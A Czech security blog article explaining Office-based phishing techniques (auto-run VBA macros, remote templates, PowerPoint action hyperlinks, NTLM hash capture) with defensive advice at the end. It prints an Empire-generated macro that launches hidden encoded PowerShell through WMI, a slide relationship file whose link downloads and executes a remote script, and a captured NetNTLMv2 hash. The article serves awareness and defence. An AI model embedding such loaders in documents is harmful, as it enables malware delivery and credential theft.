Menu

Phishingové útoky využívající Microsoft Office

Sada programů Microsoft Office je již téměř 20 let velmi populární platforma pro šíření škodlivého softwaru všeho druhu. K tomuto jevu přispívá celá řada faktorů mj. rozšířenost sady Microsoft Office nejen v korporátním, ale i domácím prostředí, integrace s plnohodnotným programovacím jazykem pro tvorbu maker nebo velká rozmanitost funkcí umožňující spuštění dalších programů v systému Windows.

Ačkoli Microsoft vyztužil zabezpečení řadou vlastností v čele se sandboxem v podobě Protected view módu, stále existuje řada technik, kterými je možné uživatele přesvědčit, aby byl škodlivý kód úspěšně vykonán. Tento článek popisuje nejčastější techniky, které útočníci v současné době používají k získání přístupu do počítače svojí oběti.

Macro v dokumentu

Historicky nejčastěji používanou technikou je využití macra. Macro je obvykle jednoduchý kód napsaný v jazyce VBA, který spouští další fáze útoku. Po iniciální fázi tedy následuje spuštění některé další komponenty (např. Powershell [2]) přes WMI [1]) . Rodičem nově nastartovaného procesu se následně stává démon WmiPrvSE.exe.

Podobné macro může vypadat následovně (vygenerováno pomocí nástroje Empire):

<code>
Sub AutoOpen()
   Debugging
End Sub
Sub Document_Open()
   Debugging
End Sub
Public Function Debugging() As Variant
   Dim Str As String
   Str = "powershell -noP -sta -w 1 -enc  WwBSAGUAZgBdAC4AQQ" '[2]
   Str = Str + "BTAFMAZQBtAGIAbABZAC4ARwBFAFQAVAB5AHAAZQAoACcAUwB5"
   …
   Str = Str + "BFAFgA"
   Const HIDDEN_WINDOW = 0
   strComputer = "."
   Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") '[1]
   Set objStartup = objWMIService.Get("Win32_ProcessStartup")
   Set objConfig = objStartup.SpawnInstance_
   objConfig.ShowWindow = HIDDEN_WINDOW
   Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
   objProcess.Create Str, Null, objConfig, intProcessID
End Function
</code>

Nevýhodou této techniky (z hlediska útočníka) je, že řada společností, kromě ochranných mechanismů obsažených v Microsoft Office,  implementuje další formu limitace spouštění dokumentů s macrem či jejich automatickou detekci, která znemožní jeho doručení k požadovanému cíli.

Dokument s externím macrem

Alternativně k předchozí technice může útočník do standardního dokumentu přidat pomocí šablon (Options->Add-ins->Templates) macro, které je při otevření dokumentu dotaženo a na potvrzení uživatele spuštěno. Tento postup usnadňuje útočníkovi dopravení macra k uživateli -  neposílá iniciální dokument s macrem.

Výsledek je až na jednu výjimku totožný s předchozí technikou - při otevírání dokumentu se zobrazí informace, že dochází k načtení šablony z externího úložiště:

Akce v PowerPointu/VB skript v publisheru

Další zajímavou technikou pro útočníka může být využití aplikace PowerPoint. Zde se nachází velmi zajímavá funkce - Actions (Insert->Actions). Tato vlastnost umožňuje útočníkovi spustit externí příkaz na základě provedené akce (přetažení kurzoru myši přes objekt, kliknutí na objekt). V dokumentu je pak daná akce vidět v souboru ppt/slides/_rels/slideX.xml.rels

<code>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/video" Target="../media/media1.mp4"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2007/relationships/media" Target="../media/media1.mp4"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="powershell%20-noP%20-sta%20-w%201%20%22(Invoke-WebRequest%2093.184.216.34:8080/emp1.ps1).RawContent%20|%20IEX%22" TargetMode="External"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/></Relationships>
</code>

Vykonání kódu vypadá pro uživatele následovně:

Podobně je možné vložit VB skript (OLE) do aplikace Publisher.

Externí šablona pro zachytáváni hashů

Někdy se může útočník “spokojit” pouze s přihlašovacími údaji uživatele. K tomu mu stačí k zaslanému dokumentu připojit fiktivní šablonu podobně jako v technice 2 a nastartovat responder. Systém Windows se pokusí při načítání dokumentu zaslat hash (NetNTLMv2) hesla, které může útočník cracknout např. pomocí nástroje hashcat. Toto je výsledek standardního chování systému, který se pokouší o “SSO” v rámci daného prostředí.

<code>
uzivatel::DESKTOP-KDJILXJ:2f8fb3a2fd04da77:75DC4C4BA28980407486DED4ACD9E431:
0101000000000000C0653150DE09D201D53C426EC0F52982000000000200080053004D004200
330001001E00570049004E002D00500052004800340039003200520051004100460056000400
140053004D00420033002E006C006F00630061006C0003003400570049004E002D0050005200
4800340039003200520051004100460056002E0053004D00420033002E006C006F0063006100
6C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201
060004000200000008003000300000000000000001000000002000002897E603125A09AB82CC
39667FB096092F098E096AA42F4CD80FA34E6A0FA2E20A001000000000000000000000000000
000000000900120063006900660073002F007400650073007400000000000000000000000000
</code>

Tento vektor nabízí útočníkovi nejzajímavější prostor pro aplikaci sociálního inženýrství třeba s využitím externích obrázků, které na uživatele vyvíjejí tlak, aby Protected view režim dobrovolně opustil. Následující ukázka představuje obrázek kandidáta v CV.

Výše uvedené techniky jsou jenom zlomek možností, jak v sadě Microsoft Office vykonat libovolný kód. Další techniky využívají například DDE a ActiveX. Na útočníkovi zůstává rozhodnutí, jak danou situaci chytře využít, aby uživatele přiměl k otevření dokumentu a provedení požadované akce.

Jak se bránit

Ubránit se různým technikám sociálního inženýrství je složité. Proto by měl být každý zaměstnanec společnosti proškolen tzv. Security Awareness Trainingem, který by jim měl pomoci odhalit případné pokusy o manipulaci a naučit je, jak se v takové situaci chovat.

S ohledem na širší koncepci je nezbytně nutné naplňovat bezpečnost na všech úrovních - od perimetru (firewally, proxy servery, aplikační firewally, ...), vnitřní síťovou infrastrukturu (IDS/IPS, NSM, správná segmentace sítě) až po samotné koncové stanice (Antivirové řešení, host-based FW/IPS).

Jako každé řešení je i v tomto případě nutné pravidelné ověřování stavu pomocí penetračních testů, včetně testování odolnosti zaměstnanců proti sociálnímu inženýrství.

 

Související článek

Opravdu to zvedat?

Před časem jsme psali o etiketě telefonování. Co když ale volá někdo, s kým opravdu nechcete mluvit? Nevyžádané hovory (průzkumy, výhry "zadarmo", neodolatelné investiční nabídky) otravují život spoustě z nás.
Pro telefony s Androidem jste si mohli pořídit aplikaci, která vám tato nežádoucí čísla odhalila, ale jablíčkáři měli smůlu. Až nedávno se vrátka otevřela a náš kolega, Jan Čislinský, napsal aplikaci, která se stala nejstahovanější placenou věcí na českém AppStore

Celý článek